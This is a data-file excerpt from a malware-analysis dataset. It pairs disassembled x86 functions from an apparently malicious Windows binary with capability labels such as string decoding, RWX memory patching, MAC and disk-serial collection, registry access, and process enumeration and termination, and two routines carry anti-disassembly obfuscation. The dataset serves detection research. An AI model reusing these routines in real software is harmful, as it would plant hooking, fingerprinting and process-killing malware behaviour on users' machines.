joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001d060
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0xa6
mov dword [ebp - 4], 0
jmp 0x1001d082
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x10
jge 0x1001d0c1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x676b3cb6]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1001d0bc
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x1001d079
mov eax, 1
shl eax, 4
mov ecx, dword [ebp - 0xc]
mov byte [ecx + eax], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x1001d6a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.1001da10
add esp, 8
mov dword [ebp - 0xc], eax
lea edx, [ebp - 8]
push edx
push 0x40
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp + 8]
mov byte [edx], 0xe8
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 1], ecx
mov dword [ebp - 4], 5
jmp 0x1001d6f5
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
jae 0x1001d708
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
mov byte [ecx], 0x90
jmp 0x1001d6ec
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esp, ebp
pop ebp
ret
Function at 0x1001d810
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], 0x288
push 0x12
call fcn.100488ae
add esp, 4
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
cmp dword [ebp - 0xc], 0
jne 0x1001d84b
push str.Error_allocating_memory_needed_for_MAC_address_n
call fcn.100218b0
add esp, 4
xor eax, eax
jmp 0x1001d9fd
push 0x288
call fcn.100488ae
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1001d881
push str.Error_allocating_memory_needed_for_adapter_info_n
call fcn.100218b0
add esp, 4
mov eax, dword [ebp - 0xc]
push eax
call fcn.10048891
add esp, 4
xor eax, eax
jmp 0x1001d9fd
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x1001d8d4
mov eax, dword [ebp - 8]
push eax
call fcn.10048891
add esp, 4
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.100488ae
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1001d8d4
push str.Error_reallocating_memory_needed_for_adapter_info_n
call fcn.100218b0
add esp, 4
mov edx, dword [ebp - 0xc]
push edx
call fcn.10048891
add esp, 4
xor eax, eax
jmp 0x1001d9fd
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x1001d9d5
mov edx, dword [ebp - 8]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x1001d9d3
mov eax, dword [ebp - 4]
cmp dword [eax + 0x190], 6
jne 0x1001d9c6
mov ecx, 1
imul edx, ecx, 5
mov eax, dword [ebp - 4]
movzx ecx, byte [eax + edx + 0x194]
push ecx
mov edx, 1
shl edx, 2
mov eax, dword [ebp - 4]
movzx ecx, byte [eax + edx + 0x194]
push ecx
mov edx, 1
imul eax, edx, 3
mov ecx, dword [ebp - 4]
movzx edx, byte [ecx + eax + 0x194]
push edx
mov eax, 1
shl eax, 1
mov ecx, dword [ebp - 4]
movzx edx, byte [ecx + eax + 0x194]
push edx
mov eax, 1
shl eax, 0
mov ecx, dword [ebp - 4]
movzx edx, byte [ecx + eax + 0x194]
push edx
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp - 4]
movzx eax, byte [edx + ecx + 0x194]
push eax
push str._02X_02X_02X_02X_02X_02X
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.10010af0
add esp, 0x20
mov edx, dword [ebp - 0xc]
push edx
call fcn.1001f060
add esp, 4
test eax, eax
jne 0x1001d9c6
push 0x12
call fcn.100488ae
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x1001d9c4
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.1004da20
add esp, 8
jmp 0x1001d9d3
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 4], eax
jmp 0x1001d8ef
jmp 0x1001d9e2
push str.Error_getting_adapter_information_n
call fcn.100218b0
add esp, 4
mov ecx, dword [ebp - 8]
push ecx
call fcn.10048891
add esp, 4
mov edx, dword [ebp - 0xc]
push edx
call fcn.10048891
add esp, 4
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x1001ef20
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [0x1007e274]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x64
call fcn.100488ae
add esp, 4
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x1001ef5a
push str.Error_allocating_memory_for_serial_number_n
call fcn.100218b0
add esp, 4
xor eax, eax
jmp 0x1001f000
mov al, byte [0x10066f31]
mov byte [ebp - 0x74], al
push 0x63
push 0
lea ecx, [ebp - 0x73]
push ecx
call fcn.10042d50
add esp, 0xc
mov dl, byte [0x10066f32]
mov byte [ebp - 0x10], dl
xor eax, eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov byte [ebp - 7], al
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x80], 0
push 0xa
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x80]
push edx
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0x7c]
push ecx
push 0x64
lea edx, [ebp - 0x74]
push edx
push 0x100675e4
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
cmp eax, 1
jne 0x1001efe0
mov eax, dword [ebp - 0x7c]
push eax
push 0x100675e8
mov ecx, dword [ebp - 0x78]
push ecx
call fcn.10010af0
add esp, 0xc
jmp 0x1001eff1
push str.Error_getting_serial_number
mov edx, dword [ebp - 0x78]
push edx
call fcn.1004da20
add esp, 8
mov eax, dword [ebp - 0x78]
push eax
call fcn.10048891
add esp, 4
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100410a2
mov esp, ebp
pop ebp
ret

Function at 0x1001f010
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x40
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp dword [ebp + 0x10], 1
jle 0x1001f038
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov dword [eax], ecx
jmp 0x1001f040
mov edx, dword [ebp + 8]
mov al, byte [ebp + 0xc]
mov byte [edx], al
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x10020cb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
lea ecx, [ebp - 8]
push ecx
push 0x40
push 4
mov edx, 1
imul eax, edx, 0
add eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
mov dx, word [ebp + 0xc]
mov word [ecx], dx
mov esp, ebp
pop ebp
ret

Function at 0x100215c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0x400
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 4]
shl ecx, 2
push ecx
call fcn.100488ae
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x100215f2
xor eax, eax
jmp 0x100216b2
lea edx, [ebp - 0x10]
push edx
push 0x20019
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x100216b0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
push 0
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xea
jne 0x10021681
mov eax, dword [ebp - 4]
add eax, 0x400
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.100488b9
add esp, 8
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
push 0
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0xc], eax
jmp 0x10021635
cmp dword [ebp - 0xc], 0
je 0x10021695
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x100216b2
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x100216b2
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x100217d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0x40
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esp, ebp
pop ebp
ret
Function at 0x10021830
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x100218a0
mov eax, dword [ebp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [eax + eax + 2]
push ecx
mov edx, dword [ebp + 0x14]
push edx
push 1
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1002188f
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x100218a2
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x100218a2
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10021930
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov eax, dword [0x1007e274]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x135], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0xffffffff
je 0x10021a76
mov dword [ebp - 0x134], 0x128
lea eax, [ebp - 0x134]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call sub.KERNEL32.dll_Process32First
mov edx, dword [ebp - 0x12c]
push edx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0
je 0x10021a5b
mov dword [ebp - 0x13c], 0
jmp 0x100219c5
mov eax, dword [ebp - 0x13c]
add eax, 1
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0xa7
jae 0x10021a4e
lea ecx, [ebp - 0x148]
push ecx
push 7
lea edx, [ebp - 0xc]
push edx
imul eax, dword [ebp - 0x13c], 0xc
mov ecx, dword [eax + 0x1007d268]
push ecx
mov edx, dword [ebp - 0x140]
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x10021a49
cmp dword [ebp - 0x148], 7
jne 0x10021a49
push 7
imul eax, dword [ebp - 0x13c], 0xc
add eax, 0x1007d26c
push eax
lea ecx, [ebp - 0xc]
push ecx
call fcn.100437ad
add esp, 0xc
test eax, eax
jne 0x10021a49
push 0
mov edx, dword [ebp - 0x140]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10021e20
call fcn.100277e0
jmp 0x100219b6
mov eax, dword [ebp - 0x140]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x134]
push ecx
mov edx, dword [ebp - 0x144]
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10021983
mov eax, dword [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 0x135]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100410a2
mov esp, ebp
pop ebp
ret
Function at 0x10021aa0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 3
mov dword [ebp - 4], 0
jmp 0x10021ac2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xb
jge 0x10021b01
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x472aed4d]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x10021afc
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10021ab9
mov eax, 1
imul ecx, eax, 0xb
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x10021e20
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x8003
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
xor eax, eax
test eax, eax
je 0x10021e3a
jne 0x10021e39
call 0x93060ec1
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
pop eax
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10021e48
jmp 0x10021e4a
je 0x10021e45
clc
jae 0x10021e4f
sub dword [eax + 0x74], ebx
add esi, dword [ebp + 1]
je 0x10021e54
jne 0x10021e54
pop eax
pushf
push 0xa
jae 0x10021e61
jmp 0x10021e5c
call 0x10021e63
jae 0x10021e5c
add esp, 4
jmp 0x10021e68
dec dword [esp]
jno 0x10021e6d
jns 0x10021e58
jp 0x10021e71
add esp, 4
popf
jmp 0x10021e78
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10021e91
jne 0x10021e91
call 0x1fc251e5
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0xffffffffffffffff
call fcn.1004e95b
clc
jae 0x10021eae
shl byte [ecx], 1
pushf
push 0xa
jae 0x10021ebb
jmp 0x10021eb6
call 0x10021ebd
jae 0x10021eb6
add esp, 4
jmp 0x10021ec2
dec dword [esp]
jno 0x10021ec7
jns 0x10021eb2
jp 0x10021ecb
add esp, 4
popf
jmp 0x10021ed2
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10021eeb
jne 0x10021eeb
and dword [ebx + eax - 0x15], edi
add esp, dword [ecx]
jl 0x10021ef0
jmp 0x10021ef2
je 0x10021eed
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10021f0c
jne 0x10021f0b
call 0x93060f93
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10021f1a
jne 0x10021f1a
call fcn.10021fda
add byte [ebx], dh
rol byte [ebp + 0x750374c0], 0
mov esp, 0
xor eax, eax
test eax, eax
je 0x10021f28
add esi, dword [ebp]
jne 0x10021f27
call 0x93060faf
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
out 0x74, eax
sti
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10021f36
jmp 0x10021f38
je 0x10021f33
clc
jae 0x10021f3d
jp 0x10021f24
je 0x10021f42
jne 0x10021f42
out 0x66, eax
pushfd
pushf
push 0xa
jae 0x10021f4f
jmp 0x10021f4a
call 0x10021f51
jae 0x10021f4a
add esp, 4
jmp 0x10021f56
dec dword [esp]
jno 0x10021f5b
jns 0x10021f46
jp 0x10021f5f
add esp, 4
popf
jmp 0x10021f66
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10021f7f
jne 0x10021f7f
call 0x1fc252d3
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x10021e63
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x8003
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
xor eax, eax
test eax, eax
je 0x10021e3a
jne 0x10021e39
call 0x93060ec1
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
pop eax
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10021e48
jmp 0x10021e4a
je 0x10021e45
clc
jae 0x10021e4f
sub dword [eax + 0x74], ebx
add esi, dword [ebp + 1]
je 0x10021e54
jne 0x10021e54
pop eax
pushf
push 0xa
jae 0x10021e61
jmp 0x10021e5c
call 0x10021e63
jae 0x10021e5c
add esp, 4
jmp 0x10021e68
dec dword [esp]
jno 0x10021e6d
jns 0x10021e58
jp 0x10021e71
add esp, 4
popf
jmp 0x10021e78
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10021e91
jne 0x10021e91
call 0x1fc251e5
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0xffffffffffffffff
call fcn.1004e95b
clc
jae 0x10021eae
shl byte [ecx], 1
pushf
push 0xa
jae 0x10021ebb
jmp 0x10021eb6
call 0x10021ebd
jae 0x10021eb6
add esp, 4
jmp 0x10021ec2
dec dword [esp]
jno 0x10021ec7
jns 0x10021eb2
jp 0x10021ecb
add esp, 4
popf
jmp 0x10021ed2
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10021eeb
jne 0x10021eeb
and dword [ebx + eax - 0x15], edi
add esp, dword [ecx]
jl 0x10021ef0
jmp 0x10021ef2
je 0x10021eed
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10021f0c
jne 0x10021f0b
call 0x93060f93
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10021f1a
jne 0x10021f1a
call fcn.10021fda
add byte [ebx], dh
rol byte [ebp + 0x750374c0], 0
mov esp, 0
xor eax, eax
test eax, eax
je 0x10021f28
add esi, dword [ebp]
jne 0x10021f27
call 0x93060faf
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
out 0x74, eax
sti
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10021f36
jmp 0x10021f38
je 0x10021f33
clc
jae 0x10021f3d
jp 0x10021f24
je 0x10021f42
jne 0x10021f42
out 0x66, eax
pushfd
pushf
push 0xa
jae 0x10021f4f
jmp 0x10021f4a
call 0x10021f51
jae 0x10021f4a
add esp, 4
jmp 0x10021f56
dec dword [esp]
jno 0x10021f5b
jns 0x10021f46
jp 0x10021f5f
add esp, 4
popf
jmp 0x10021f66
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10021f7f
jne 0x10021f7f
call 0x1fc252d3
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10021fa0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 5
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop ebp
ret
Function at 0x10022270
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x26
mov dword [ebp - 4], 0
jmp 0x10022292
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jge 0x100222d1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x5e8de71]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x100222cc
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10022289
mov eax, 1
shl eax, 2
mov ecx, dword [ebp - 0xc]
mov byte [ecx + eax], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x100222f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0xc]
add edx, 0xc
cmp dword [ebp - 8], edx
je 0x100223c3
cmp dword [ebp - 8], 0
je 0x100223c3
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
cmp edx, dword [ecx + 0x18]
jne 0x100223b6
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x18]
mov dword [eax], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x1c]
mov dword [eax + 4], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x20]
mov dword [eax + 8], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x30]
mov dword [eax + 0x18], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dx, word [ecx + 0x2c]
mov word [eax + 0x14], dx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dx, word [ecx + 0x2e]
mov word [eax + 0x16], dx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x28]
mov dword [eax + 0x10], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dx, word [ecx + 0x24]
mov word [eax + 0xc], dx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dx, word [ecx + 0x26]
mov word [eax + 0xe], dx
mov al, 1
jmp 0x100223c5
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov dword [ebp - 8], ecx
jmp 0x10022312
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x100227f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x31
mov dword [ebp - 4], 0
jmp 0x10022812
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x14
jge 0x10022851
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0xe0e17dc]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1002284c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10022809
mov eax, 1
imul ecx, eax, 0x14
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10022870
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x32
mov dword [ebp - 4], 0
jmp 0x10022892
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 9
jge 0x100228d1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x360db817]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x100228cc
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10022889
mov eax, 1
imul ecx, eax, 9
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x100228f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x65
mov dword [ebp - 4], 0
jmp 0x10022912
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x18
jge 0x10022951
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x1177187e]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1002294c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10022909
mov eax, 1
imul ecx, eax, 0x18
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4